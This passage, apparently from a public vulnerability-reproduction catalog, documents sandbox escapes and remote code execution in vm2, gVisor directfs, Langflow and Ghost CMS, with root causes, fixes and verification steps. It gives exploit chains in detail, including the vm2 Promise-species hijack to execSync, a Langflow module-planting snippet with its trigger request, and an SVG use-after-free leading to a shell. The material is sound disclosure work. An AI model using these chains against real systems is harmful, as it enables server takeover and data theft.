(`/pruva/project-cache/repo`) and composer `vendor/` when present, kills stale `php -S` listeners on ports 8090/8091 before starting fresh servers, cleans the marker directory, and regenerates all HTTP captures, markers, and `runtime_manifest.json` with fresh per-attempt tokens on every run. Two consecutive clean runs passed (exit 0). - The reproduction uses the framework repository's own application skeleton (`app/`, `public/`, `system/rewrite.php`) served in `production` mode — no mocks, no sanitizer, no reimplementation of the vulnerable code. - Edge case noted: `spark serve` silently increments the port when the requested one is busy; the script therefore runs the underlying `php -S` command directly and pre-kills stale listeners so the healthcheck and exploit always target the intended instance. ### Reproduction - Reproduced: 2026-10-09T18:02:47.398Z - Duration: 4661s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00384 # or: pruva-verify GHSA-4Q58-JW8X-8CM7 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00384 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00384/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00384 ================================================================================ ## REPRO-2026-00383: vm2 before 3.12.1 sandbox escape via host-realm Promise Symbol.species (VM and NodeVM) -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00383 - CVE: CVE-2026-93606 (https://nvd.nist.gov/vuln/detail/CVE-2026-93606) ### Package Information - Name: patriksimek/vm2 - Ecosystem: github - Affected: <= 3.12.0 (all versions 0 through 3.12.0 per VulnCheck affected range) - Fixed: 3.12.1 - Severity: critical - CVSS: Unknown - CWE: CWE-693 ### Root Cause # CVE-2026-93606 — Root Cause Analysis ## Summary vm2 (npm) versions ≤ 3.12.0 contain a sandbox escape in both `VM` and `NodeVM`. When an embedder exposes a host function that returns a genuine host-realm `Promise` (the canonical vm2 embedding pattern), sandboxed code can hijack the promise's `constructor[Symbol.species]` channel — which V8 reads directly off the raw host object, bypassing every bridge trap — and call `.then()` with **no** `onRejected` handler. V8 substitutes its internal `Thrower` reaction, which delivers the **raw, unsanitized host rejection value** into the attacker-captured reaction-capability `reject` closure. The value arrives as a fully functional bridge proxy of a host object (`isProxy === true`), from which `mainModule.require('child_process').execSync(...)` yields arbitrary host code execution with the embedding Node.js process's privileges. ## Impact - **Package:** `vm2` (npm), `lib/bridge.js` + `lib/setup-sandbox.js` - **Affected versions:** ≤ 3.12.0 (all prior lines; the vulnerability is in the bridge's promise-rejection sanitizer introduced with the m283 defenses) - **Patched version:** 3.12.1 (also current latest 3.12.2) - **Risk:** Critical (CVSS v4 10.0, GHSA-6454-5x88-m6jw). Any embedder that hands the sandbox a Promise-returning host API (caching layers, RPC stubs, fetch-like wrappers) exposes full host RCE: filesystem, `child_process`, env vars, outbound network. ## Impact Parity - **Disclosed/claimed maximum impact:** sandbox escape → host arbitrary code execution. - **Reproduced impact from this run:** full sandbox escape with host command execution. From inside both `VM` and `NodeVM`, the sandboxed script (a) received the raw host `process` object as a live bridge proxy (`isProxy: true`), (b) read a host-only environment variable (`HOST_ONLY_SECRET=CANARY123`) invisible to the sandbox's own `process` stub, and (c) executed host shell commands via `hostValue.mainModule.require('child_process').execSync`, writing unique per-attempt marker files on the host filesystem. - **Parity:** `full`. ## Root Cause Two defense gaps compose: 1. **Species neutralization is sandbox-realm-only.** `lib/setup-sandbox.js` overrides `then/catch/finally` on the sandbox intrinsic `Promise.prototype` to call `resetPromiseSpecies(this)` (GHSA-27g9-p43v-cw3v). A **host** Promise crossing the bridge keeps the host `Promise.prototype` methods, so this neutralization never runs for it. Meanwhile `BaseHandler.set` deliberately allows ordinary sandbox writes onto a non-frozen host object, so `p.constructor = { [Symbol.species]: Evil }` lands on the raw host promise. 2. **The rejection sanitizer only wraps function-valued slots.** The bridge's apply-trap interception of host `Promise.prototype.then/catch` (`normalizeHostPromiseCallbacks` / `makeSanitizedPromiseCallback` in `lib/bridge.js`) wraps `onFulfilled`/`onRejected` **only when the slot holds a function**. Per `PerformPromiseThen`, a missing/non-callable `onRejected` makes V8 substitute its internal `Thrower`, which performs `throw reason` into `resultCapability.[[Reject]]` with the **raw host value**. Because `resultCapability` was built via `SpeciesConstructor(p, %Promise%)` → `new Evil(GetCapabilitiesExecutor)` — executed back in the sandbox through the proxy's `[[Construct]]` trap — `[[Reject]]` is an attacker sandbox closure. No `handleException`, `ensureThis`, or `hostPromiseSanitizeReject` chokepoint exists on this path. **Fix (vm2 3.12.1, GHSA-6454-5x88-m6jw):** `peelEffectivePromiseCall` now returns the effective receiver of host `then/catch/finally` (also unwinding `Reflect.apply`), and `neutralizeHostPromiseSpeciesOn` installs `constructor = undefined` as an own data property on the raw host promise for the duration of the call, forcing `SpeciesConstructor` to fall back to the realm-correct host `%Promise%`. The reaction capability is then a genuine host promise; the raw settlement can only be observed by attaching a fresh `.then/.catch`, which re-enters the sanitizer. Verified: on 3.12.1 the sandbox script's hijack closure is never invoked (`sandbox returned: UNSET`) and no host marker file is created. ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; run twice consecutively — both runs exit 0). 2. The script downloads the immutable npm tarballs `vm2@3.12.0` (vulnerable) and `vm2@3.12.1` (fixed), installs them with pinned integrity into the prepared project cache (`/pruva/project-cache/vm2-pkgs`, fallback `bundle/artifacts/vm2-pkgs`), generates `bundle/repro/harness.js`, and runs **two clean attempts per build per sandbox class** (`VM` ×2, `NodeVM` ×2 on each version) via `node harness.js `, each invocation bounded by `timeout 60`. 3. Expected evidence: every vulnerable attempt prints `ESCAPE_CONFIRMED` with `{"isProxy":true,"envSecret":"CANARY123","exec":"PWNED_FROM_SANDBOX","markerWritten":true}` and creates a host-side marker file `repro/proof/marker-vulnerable--.txt` containing the unique attempt token; every fixed attempt prints `ESCAPE_NOT_CONFIRMED` (`sandbox returned: UNSET`) and creates no marker. ## Evidence - Per-attempt logs: `bundle/repro/proof/{vulnerable,fixed}-{VM,NodeVM}-{1,2}.log` - Host-written marker files (proof of host command execution from the sandbox): `bundle/repro/proof/marker-vulnerable-VM-{1,2}.txt`, `bundle/repro/proof/marker-vulnerable-NodeVM-{1,2}.txt` - Exploit harness executed: `bundle/repro/harness.js` - Diagnostics: `bundle/logs/reproduction_steps.log` - Machine-readable manifest with sha256 of every proof artifact and npm-tarball-bound target identity: `bundle/repro/runtime_manifest.json` - Key excerpt (vulnerable, VM): `[VM:vulnerable-1] sandbox returned: {"isProxy":true,"envSecret":"CANARY123","exec":"PWNED_FROM_SANDBOX","markerWritten":true}` → `ESCAPE_CONFIRMED` - Key excerpt (fixed, VM): `[VM:fixed-1] sandbox returned: UNSET` → `ESCAPE_NOT_CONFIRMED` - Environment: Node.js v24.18.0, linux x86_64; vm2@3.12.0 tarball sha256 `263d59bfcdd5107915551b4181228fb5c8dd98f043faa78f2b8fb33f8fe8ffa8`; vm2@3.12.1 tarball sha256 `afa9d765ff89edcd8472ef2fb3e1707d2e9077aeffe8ea861fd46aa696726513`. ## Recommendations / Next Steps - Upgrade to vm2 ≥ 3.12.1 immediately; note vm2 is formally discontinued upstream, so prefer migrating to `isolated-vm` or Node's `vm` with out-of-process isolation for any untrusted-code workload. - The 3.12.1 fix (species neutralization at the `SpeciesConstructor` chokepoint + `Reflect.apply` peel) is the correct layered defense; regression tests should cover `.then()`, `.catch()`, `.finally()`, `Function.prototype.call/apply`, and `Reflect.apply` indirection against host promises. - Embedders should additionally avoid returning host promises that reject with host-pivotable values, and should freeze exposed host objects where feasible. ## Additional Notes - Idempotent: the script reuses the cached package installs keyed by version, removes stale markers before each attempt, and was run twice consecutively with identical confirmed results. - The PoC mechanics were reconstructed from the vendor advisory GHSA-6454-5x88-m6jw and independently re-executed against the published npm artifacts in this run; no historical proof was reused. - Limitations: the escape requires an embedder-exposed host function returning a host-realm Promise (the documented vm2 pattern) and a rejection path; impact is unconditional once those hold, independent of what the promise rejects with. ### Reproduction - Reproduced: 2026-10-09T14:10:51.887Z - Duration: 2704s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00383 # or: pruva-verify CVE-2026-93606 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00383 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00383/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00383 ================================================================================ ## REPRO-2026-00382: gVisor directfs openHandle host-FD identity TOCTOU → guest-to-host sandbox escape (follow-up to CVE-2026-96812, no separate CVE assigned) -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00382 - CVE: CVE-2026-96812 (https://nvd.nist.gov/vuln/detail/CVE-2026-96812) ### Package Information - Name: google/gvisor - Ecosystem: github - Affected: Unknown - Fixed: release-20261005.0 - Severity: high - CVSS: Unknown - CWE: CWE-367 ### Root Cause # Root Cause Analysis: gVisor directfs `openHandle()` Host-FD Identity TOCTOU ## Summary gVisor's directfs implementation in release-20260928.0 reopens a cached dentry by name in `directfsInode.openHandle()` without checking that the newly opened host file descriptor still identifies the file and type that the sentry previously revalidated. A host-side attacker who can modify the backing directory can preserve a cached regular-file dentry, then atomically race that name to a device node between revalidation and the later `openat()`. The vulnerable sentry uses the resulting device descriptor as a regular-file backing handle. This run proved the issue through the real `runsc`/directfs/systrap product path by racing a regular file with an otherwise sandbox-inaccessible host loop block device: the guest read a host-only secret and wrote unique guest-controlled markers into host-only backing images in two attempts. release-20261005.0 rejected the same swaps and wrote no marker. ## Impact - **Affected component:** `google/gvisor`, `pkg/sentry/fsimpl/gofer/directfs_inode.go`, function `(*directfsInode).openHandle()`. - **Affected version tested:** `release-20260928.0`, commit `6485c3fbdfe28172ced5d6aed49554cf494967db`. - **Fixed version tested:** `release-20261005.0`, commit `97e8e896904cb364319cd9758241d3f0bd27a6f4`. - **Fix commit:** `cd968a36e5557215b5dcb8989011ce0e558b5dd0`. - **Required attacker/environment conditions:** the attacker controls or can replace entries in a directfs-backed host directory after a guest has cached a regular-file dentry; the runsc host context can open the swapped device; the race wins between revalidation and open-by-name. This proof requires privileged host setup for an unattached loop device and uses the systrap platform. - **Risk:** high. A sandboxed guest obtained read/write access to a host block device that was neither present in the OCI rootfs nor mounted into the sandbox. On a real host, equivalent access to a security-relevant host block device can disclose or modify host filesystems and privileged state. ## Impact Parity - **Disclosed/claimed maximum impact:** guest-to-host sandbox escape, described as host-root code execution through an unsafe host device FD. - **Reproduced impact:** repeatable guest-controlled read and write to an otherwise inaccessible host block device through production `runsc`. In two vulnerable attempts, the guest read `HOST_ONLY_SECRET_4ec7309a` from offset 4096 and wrote a unique 4096-byte marker at offset 8192. The host verified both markers directly in backing images outside the guest. Two fixed attempts created no markers and rejected the raced device opens. - **Parity:** `partial`. - **Not demonstrated:** no host process command was executed and no host-root shell or host executable modification was attempted. The proof establishes a concrete sandbox-boundary-crossing host storage read/write primitive, not a complete command-execution chain. The earlier CUSE path was not used as the final proof because gofer's regular-file I/O path forwards positional `preadv2`/`pwritev2`, which does not provide the normal CUSE handshake used by deterministic character-device passthrough. ## Root Cause The directfs dentry lifecycle separates identity validation from the host descriptor later used for data operations: 1. The guest resolves `/race/target` while it is a stable regular file, so gVisor creates and caches a regular-file dentry/inode. 2. Directfs revalidation examines a child reached from a parent control descriptor and validates metadata associated with that lookup. 3. `directfsInode.openHandle()` subsequently obtains a usable handle by resolving the dentry name again: ```go flags |= hostOpenFlags openFD, err := unix.Openat(parent.inode.impl.(*directfsInode).controlFD, d.name, int(flags), 0) if err != nil { return noHandle, err } return handle{fd: int32(openFD)}, nil ``` 4. In release-20260928.0, the returned `openFD` is accepted without `fstat()` or comparison against the cached inode type/device identity. A host `renameat2(RENAME_EXCHANGE)` can therefore let revalidation observe the original regular inode while the later `openat()` observes a device node at the same name. 5. Because the sentry still treats the file description as a regular file, reads and writes are forwarded through the gofer host handle. With the raced loop block descriptor, guest `pread()` and `pwrite()` directly affected host block storage. The fix commit [cd968a36e5557215b5dcb8989011ce0e558b5dd0](https://github.com/google/gvisor/commit/cd968a36e5557215b5dcb8989011ce0e558b5dd0) performs `Fstat(openFD)`, checks that the file type is supported, compares the reopened type with the cached inode type, and for character devices compares major/minor identity. A mismatch is closed and rejected as stale. For this block-device replacement, the fixed build rejects the block-device replacement with `EPERM`; the separate same-input `/dev/cuse` identity control returns `ESTALE`, exactly exercising the fix’s cached S_IFREG versus reopened S_IFCHR comparison. In both cases, the guest never receives a usable host device handle. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` from any directory. It accepts `PRUVA_ROOT`; the default resolves the bundle directory portably. 2. The script reads `bundle/project_cache_context.json`, reuses the prepared gVisor repository and build cache when available, and otherwise creates `bundle/artifacts/gvisor-cache`. 3. It anchors source/build identity to vulnerable commit `6485c3f...` and fixed commit `97e8e896...`, verifies that fix commit `cd968a36...` is absent/present respectively, and checks the actual `Fstat(openFD)` patch hunk. 4. It builds or reuses genuine optimized `runsc` binaries, compiles the static guest and host racers, and starts a privileged Docker host fixture. 5. For each of two vulnerable and two fixed attempts, the fixture creates a fresh 16 MiB host-only backing image and unattached loop device, writes a secret at offset 4096, starts a real `runsc --directfs=true --platform=systrap` sandbox, primes the target as a regular dentry, then begins atomic regular-file/block-device swaps. 6. The guest races `open(O_RDWR|O_TRUNC)`, reads the host secret, and attempts to write a unique marker at offset 8192. After `runsc` exits, the host reads that offset directly from the backing image. 7. Exit code 0 requires both vulnerable attempts to read/write and create their exact markers, both fixed attempts to create no marker, and both fixed attempts to record device-open rejection. Expected summary: ```text vulnerable_host_read_write_marker_attempts=2/2 fixed_host_write_marker_attempts=0/2 fixed_rejection_attempts=2/2 vulnerable_cuse_fd_control=1/1 fixed_cuse_estale_control=1/1 ``` ## Evidence Primary current-run evidence is under `bundle/repro/results/` and is digest-bound by `bundle/repro/runtime_manifest.json`. - `results/source-identity.log`: exact vulnerable/fixed commits and patch presence. - `results/runsc-version-{vuln,fixed}.txt`: product versions exercised. - `results/guest-vuln-1.log`: ```text GUEST_HOST_BLOCK_READ: secret=HOST_ONLY_SECRET_4ec7309a opens=2 offset=4096 bytes=4096 GUEST_HOST_BLOCK_WRITE: marker=GUEST_HOST_MARKER_vuln_1_91d7c3ee offset=8192 bytes=4096 errno=0 ``` - `results/guest-vuln-2.log`: an independent vulnerable process repeats the read/write after 11 opens. - `results/host-observation-vuln-1.log` and `host-observation-vuln-2.log`: direct host inspection reports `MATCH=true` and includes marker bytes in hexadecimal. - `results/host-marker-vuln-{1,2}.bin`: exact marker bytes read from host-only backing images. - `results/guest-fixed-1.log` and `guest-fixed-2.log`: hundreds of thousands of block-device attempts produce no win; device-node windows return `EPERM` while regular-file windows remain usable. - `results/cuse-guest-vuln.log`: the vulnerable build accepts the raced `/dev/cuse` descriptor (`GUEST_CUSE_FD_OPEN`). - `results/cuse-guest-fixed.log`: the fixed build has no CUSE win and reports large nonzero `estale` counts for the identical synchronized swap, directly demonstrating the fix’s required `ESTALE` identity failure. - `results/host-observation-fixed-{1,2}.log` and `host-marker-fixed-{1,2}.bin`: host-side negative controls are all zero and report `MATCH=false`. - `results/summary.txt`: aggregate 2/2 vulnerable effects versus 0/2 fixed markers and 2/2 fixed rejection. - `bundle/logs/reproduction_steps.log`: complete final product-run diagnostics. - `bundle/logs/final_run1_console.log` and `final_run2_console.log`: two consecutive successful top-level executions. - `bundle/repro/runtime_manifest.json`: source identity, runtime stack, artifact list, and SHA-256 map. The final run used Linux `6.8.0-142-generic`, x86-64, Docker `29.1.3`, gVisor systrap, directfs enabled, and no sanitizer. The fdwatch files are retained as diagnostics only. They intentionally scope observations to runsc-reported process trees and exact loop major/minor, but sampled no rows because the vulnerable guest won and completed I/O faster than the `/proc` watcher acquired the process tree. Unlike the previous broad watcher, no unrelated host character-device rows are treated as proof. Exact guest output plus direct host backing-image marker comparison is the primary descriptor/effect correlation. ## Recommendations / Next Steps - Upgrade to `release-20261005.0` or later. - Preserve the fix's post-`openat()` identity checks. At minimum, compare file type against the cached inode; for device files, compare major/minor identity; close the descriptor and return `ESTALE`/an error on mismatch. - Add a regression test that synchronizes a cached regular dentry with an atomic replacement before `openHandle()`, covering character and block device substitutions. - Test all open modes that force a fresh handle, especially `O_TRUNC`, and test repeated revalidation/open races. - Treat any host device descriptor exposed through a cached regular dentry as a sandbox-boundary violation even if one specific device protocol is not usable through positional I/O. - For terminal exploit research, a host filesystem block device can be used to study controlled modification of a non-production fixture filesystem, but that escalation was deliberately not claimed here without current-run host command-execution evidence. ## Additional Notes - The final script passed twice consecutively in the current runtime. Each invocation itself performs two vulnerable and two fixed process attempts. - The script is self-contained apart from declared source helpers and standard network/build prerequisites. It recompiles helpers and rebuilds `runsc` if compatible cached binaries are unavailable. - It bounds every `runsc` invocation with `timeout`, isolates each attempt with a fresh bundle/runsc root/tmpfs/backing image/loop mapping, and restores caller ownership of bind-mounted result paths. - The fixture is intentionally an unattached loop device rather than a live system disk. This safely proves host block read/write without risking corruption of the worker host. - `runtime_manifest.json` is rewritten on success and on premature failure; proof artifacts are finalized before they are hashed. ### Reproduction - Reproduced: 2026-10-09T11:05:24.712Z - Duration: 11478s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00382 # or: pruva-verify CVE-2026-96812 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00382 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00382/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00382 ================================================================================ ## REPRO-2026-00381: IBM Langflow OSS 1.0.0 through 1.12.2 is vulnerable to remote unauthenticated code execution via OS command injection. -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00381 - CVE: CVE-2026-93674 (https://nvd.nist.gov/vuln/detail/CVE-2026-93674) ### Package Information - Name: langflow-ai/langflow - Ecosystem: PyPI / Python - Affected: 1.0.0 through 1.12.2 - Fixed: 1.12.3 - Severity: critical - CVSS: 9.8 / 10 - CWE: CWE-94 Improper Control of Generation of Code (Code Injection) (Improper Control of Generation of Code ('Code Injection')) ### Root Cause # CVE-2026-93674 — Root Cause Analysis ## Summary Langflow OSS through 1.12.2 exposes `POST /api/v1/validate/code`, a "validation-only" endpoint whose backend (`lfx.custom.validate.validate_code`) calls `importlib.import_module()` on **every import statement** found in attacker-supplied code. Importing a module executes its top-level code, so the endpoint runs arbitrary Python inside the Langflow server process during what is documented as a non-executing validation step. Combined with (a) the default single-user configuration (`LANGFLOW_AUTO_LOGIN=true`, which lets any network client mint a superuser token from `GET /api/v1/auto_login` with no credentials) and (b) a second remote code-evaluation sink (`POST /api/v1/custom_component`, which `exec()`s the attacker-supplied component class body and can plant a malicious module into the server-writable `site-packages`), a remote unauthenticated attacker obtains arbitrary OS command execution as the Langflow service user. The vulnerability is fixed in Langflow 1.12.3 by commit `461506ac2f38f70a994b5140572b876448c11e4c` ("fix(security): close pathlib/io/codecs scanner bypass and stop validate_code from executing imports", H1-3992099 / LE-2683), which replaces `import_module()` with `importlib.util.find_spec()` — locate-only, never executing module code. ## Impact - **Package/component:** `langflow` / `langflow-base` / `lfx` (PyPI), specifically `lfx.custom.validate.validate_code` behind the FastAPI route `POST /api/v1/validate/code`. - **Affected versions:** 1.0.0 through 1.12.2 (IBM bulletin / NVD CPE range; the vulnerable `importlib.import_module()` loop is present in v1.12.2 and removed in v1.12.3). - **Risk level:** Critical (CVSS 9.8, AV:N/AC:L/PR:N/UI:N). Full remote, unauthenticated OS command execution with the privileges of the Langflow service account (in the official container: `uid=1000(user) gid=0(root)`), i.e. complete compromise of flows, stored credentials/global variables, and any data readable by the service. ## Impact Parity - **Disclosed/claimed maximum impact:** remote (unauthenticated) arbitrary code / OS command execution (`code_execution`). - **Reproduced impact from this run:** remote unauthenticated OS command execution through the real HTTP API of the digest-pinned official `langflowai/langflow:1.12.2` image: the planted module ran `id` via `subprocess.check_output(..., shell=True)` inside the server process; the output (`uid=1000(user) gid=0(root) groups=0(root)`) was exfiltrated in-band in the HTTP 500 `detail` field of the very `POST /api/v1/validate/code` response, and a unique per-attempt marker file was written inside the container filesystem. - **Parity:** `full`. - **Not demonstrated:** nothing material — the claimed impact class was reproduced end-to-end. (A persistent shell/pivot was not attempted; it is not required for parity.) ## Root Cause `src/lfx/src/lfx/custom/validate.py` (v1.12.2), function `validate_code(code)`: ```python # Evaluate the import statements for node in tree.body: if isinstance(node, ast.Import): for alias in node.names: try: importlib.import_module(alias.name) # <-- EXECUTES module top-level code except ModuleNotFoundError as e: errors["imports"]["errors"].append(str(e)) ``` `importlib.import_module()` is not a lookup — it loads and **executes** the module. Because the endpoint is reachable by any network client under the default `LANGFLOW_AUTO_LOGIN=true` configuration (the auto-login route issues a superuser JWT without credentials), an attacker who can place a Python file on any `sys.path` entry writable by the service account gets it executed by simply sending `{"code": "import "}`. The official container runs as `uid=1000` and owns `/app/.venv/lib/python3.14/site-packages`, which is on `sys.path`, so the built-in custom-component code-evaluation feature (`POST /api/v1/custom_component` → `build_custom_component_template()` → `exec()` of the class body) provides the file-write primitive fully remotely: ```python class Planter(CustomComponent): _w = pathlib.Path("/app/.venv/lib/python3.14/site-packages/.py").write_text(payload) ``` The planted module both writes a unique marker file and raises `RuntimeError("PLANTED_EXEC::" + subprocess.check_output("id", shell=True))`. `validate_code` only catches `ModuleNotFoundError`, so the `RuntimeError` propagates to the route handler, which returns HTTP 500 with `detail=str(e)` — exfiltrating the command output directly in the HTTP response. In 1.12.3 the same request path performs `importlib.util.find_spec(alias.name.split(".")[0])` and never executes module code; the identical attacker procedure therefore produces HTTP 200, empty errors, and no marker file. - **Fix commit:** `461506ac2f38f70a994b5140572b876448c11e4c` (`fix(security): close pathlib/io/codecs scanner bypass and stop validate_code from executing imports`, PR #15201, H1-3992099 / LE-2683). - **Fixed release:** Langflow OSS 1.12.3 (git tag `v1.12.3` = `fec71dca901949c09ed4d63315804337cd2eb13d`). Note on CVE mapping: the IBM bulletin for 1.12.3 lists 25 CVEs without per-CVE commit mapping. CVE-2026-93674 is the 9.8 PR:N CWE-94 ("code injection / OS command") entry; the `validate_code` import-execution sink fixed by 461506ac2f is the matching unauthenticated remote code-execution fix in the 1.12.3 security train. The public third-party PoC (rmhowe425/POC-CVE-2026-93674) targets the MCP stdio endpoint (`/api/v2/mcp/servers`), which corresponds to the earlier GHSA-w794-rj3p-xv45 / CVE-2026-105697 fix (1.10.3) — that allowlist is already present in 1.12.2, so the MCP path is not the 1.12.2→1.12.3 divergence; the validate/code path is. ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; requires docker, curl, jq). 2. The script: - Pulls/pins the official images by digest: vulnerable `langflowai/langflow@sha256:79c02794adebe82d756b7152ce4feebe4a5426e1faf3fe5b5d0dd08f304510c4` (v1.12.2) and fixed `langflowai/langflow@sha256:34055a07d446de51760e28dab6332e22624e5f48dca611567779992fc32c5ec0` (v1.12.3). - Starts **two fresh vulnerable containers** and **two fresh fixed containers** (`LANGFLOW_AUTO_LOGIN=true`, the OSS package default), waiting for `/health`. - Per attempt: (1) `GET /api/v1/auto_login` with no credentials → superuser JWT; (2) `POST /api/v1/custom_component` plants `pruva_planted__.py` into site-packages via class-body `exec()`; (3) `POST /api/v1/validate/code` `{"code":"import "}` triggers the vulnerable import execution; the marker file is read back out of the container. - Vulnerable pass criteria: HTTP 500 + `PLANTED_EXEC::uid=1000(user)...` in the response body + marker file containing the unique token inside the container. Fixed pass criteria: HTTP 200, empty errors, no marker. 3. Expected evidence: 2/2 vulnerable attempts execute attacker code; 2/2 fixed attempts do not (identical procedure, plant still succeeds on fixed — proving the divergence is exactly the validate/code import execution). ## Evidence - Driver log: `bundle/logs/reproduction_steps.log` - Image identity: `bundle/logs/repro/image_identity.txt` - Per-attempt artifacts (`{vuln,fixed}_attempt_{1,2}_*` under `bundle/logs/repro/attempts/`): auto-login token responses, plant requests/responses, trigger requests/responses, planted module content, marker files, container logs. All SHA-256-bound in `bundle/repro/runtime_manifest.json`. - Key excerpt (vulnerable, both attempts): `POST /api/v1/validate/code` → `HTTP=500`, body `{"detail":"PLANTED_EXEC:PRUVA-CVE-2026-93674--VULN-:uid=1000(user) gid=0(root) groups=0(root)"}`, and `marker.txt` = `PRUVA-CVE-2026-93674--VULN- uid=1000(user) gid=0(root) groups=0(root)`. - Key excerpt (fixed, both attempts): identical requests → `HTTP=200`, body `{"imports":{"errors":[]},"function":{"errors":[]}}`, empty marker file. - Environment: Docker on Linux x86_64; images digest-pinned as above; Python 3.14 inside the container; `LANGFLOW_AUTO_LOGIN=true` (package-level default; the image sets it to `false`, which only changes the bootstrap to credential-based login — the validate/code sink itself is identical). ## Recommendations / Next Steps - Upgrade to Langflow OSS **1.12.3** or later (IBM/vendor guidance; the fix replaces `import_module()` with `find_spec()` in `validate_code`). - Until upgraded: do not expose Langflow to untrusted networks; set `LANGFLOW_AUTO_LOGIN=false` and strong superuser credentials (raises the bar to authenticated, but the sink still executes for any authenticated user on ≤1.12.2); restrict file-system write access of the service account to site-packages. - Defense-in-depth: treat every "validation" endpoint as non-executing (audit for other `import_module`/`exec` uses on request paths), and consider read-only root filesystems / non-root containers. - Testing: regression test that `POST /api/v1/validate/code` with an import of a planted module never executes it (covered upstream by the lfx-side tests added in the fix commit). ## Additional Notes - **Idempotency:** the script is fully idempotent — each attempt uses a fresh, uniquely-named container and a unique module/marker name, and a `trap` removes all containers on exit. Re-running produces fresh unique tokens/markers. - **Repeatability:** the exploit ran twice per side (two fresh vulnerable processes, two fresh fixed processes) with identical outcomes. - **Why two stages:** the CVE sink (`validate_code` import execution) requires an importable attacker module. The plant uses Langflow's built-in custom-component code-evaluation feature, which behaves identically on 1.12.2 and 1.12.3 — the vulnerable/fixed divergence is isolated entirely to the `validate_code` step, which is what the 1.12.3 fix changed. - **Limitations:** none affecting the verdict. The reproduction uses the official vendor images at the exact vulnerable/fixed digests; no sanitizers, mocks, or instrumentation were used. ### Reproduction - Reproduced: 2026-10-09T06:21:33.361Z - Duration: 4474s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00381 # or: pruva-verify CVE-2026-93674 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00381 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00381/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00381 ================================================================================ ## REPRO-2026-00380: Ghost CMS RCE via Bookmark Card Images (SVG handling in bundled image processing library) -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00380 - CVE: CVE-2026-105642 (https://nvd.nist.gov/vuln/detail/CVE-2026-105642) ### Package Information - Name: TryGhost/Ghost - Ecosystem: github - Affected: >= 6.56.0, < 6.67.0 (advisory range header); advisory body text states v6.56.0 up to v6.65.0 - Fixed: 6.67.0 (official fix per advisory). Dependency analysis indicates the actual fix most likely landed in 6.66.0 via a sharp/libvips bump: 6.56.0-6.65.0 pin sharp 0.35.3 + image-size 1.2.1; 6.66.0 bumps to sharp 0.35.5 (bundles libvips 8.18.7 with updated librsvg and libheif) and image-size 2.0.4. The v6.66.0...v6.67.0 diff contains no commits touching image/SVG code. - Severity: high - CVSS: Unknown - CWE: CWE-94 (Code Injection), CWE-1395 (Dependency on Vulnerable Third-Party Component) (Improper Control of Generation of Code ('Code Injection')) ### Root Cause # Root Cause Analysis — CVE-2026-105642 (GHSA-788w-68h3-cvxp) ## Summary Ghost >= 6.56.0 and < 6.67.0 bundles a vulnerable native image-processing stack: sharp 0.35.3 uses libvips 8.18.3 with librsvg 2.62.90 and libxml2 2.15.3. A genuine low-privilege Contributor can call Ghost's admin oEmbed bookmark endpoint with an attacker-controlled URL. Ghost fetches the page, follows its `og:image` to an attacker-hosted SVG, and rasterizes that SVG inside the main Node.js process. The crafted SVG causes librsvg's nested-XInclude duplicate-entity use-after-free (CVE-2026-96889): the recursive parse replaces and frees an `xmlEntity` object still in use by the outer libxml2 parse. A calibrated SVG path then reoccupies and corrupts the stale parser state, pivots through fixed addresses in Ghost's non-PIE Node 22.23.3 executable, and invokes `execve("/bin/sh", ["/bin/sh", "-c", command], NULL)`. This run reproduced the complete Contributor-to-command-execution chain twice through the real Ghost endpoint under the default allocator. ## Impact - **Affected product:** TryGhost/Ghost, through bundled sharp → libvips → librsvg → libxml2 native SVG processing. - **Affected versions:** Ghost >= 6.56.0 and < 6.67.0 according to the Ghost advisory. This run confirms Ghost 6.65.0 is vulnerable and Ghost 6.67.0 is fixed. - **Vulnerable runtime closure:** official `ghost:6.65.0` image digest `sha256:90592b712b6b6502c3169cf12bcb6e5f7b8c8315968b8bb53e08e879892641fa`; Node 22.23.3, sharp 0.35.3, libvips 8.18.3, librsvg 2.62.90, libxml2 2.15.3. - **Fixed runtime closure:** official `ghost:6.67.0` image digest `sha256:9482099b1c8700764dc3d38c293e09c16d70f8bacc14af589c47d90b4bebd017`; sharp 0.35.5, libvips 8.18.7, librsvg 2.63.2, libxml2 2.15.4. - **Risk:** high/critical attacker impact within the Ghost process. Any authenticated staff user, including a Contributor, can execute arbitrary shell commands with the Ghost server process's privileges. This permits reading application secrets and content, modifying data accessible to the process, establishing callbacks, and stopping or replacing the service. - **Configuration note:** `NODE_ENV=development` is used only so Ghost's private-IP SSRF guard permits the required local attacker host. A public attacker host in production reaches the same oEmbed → image-transform → sharp path. The exploit itself uses the normal/default glibc allocator; no `GLIBC_TUNABLES`, `MALLOC_PERTURB_`, sanitizer, debugger, or allocator tripwire is present. ## Impact Parity - **Disclosed/claimed maximum impact:** arbitrary command execution on the Ghost server via an attacker-controlled bookmark-card image, initiated by a Contributor. 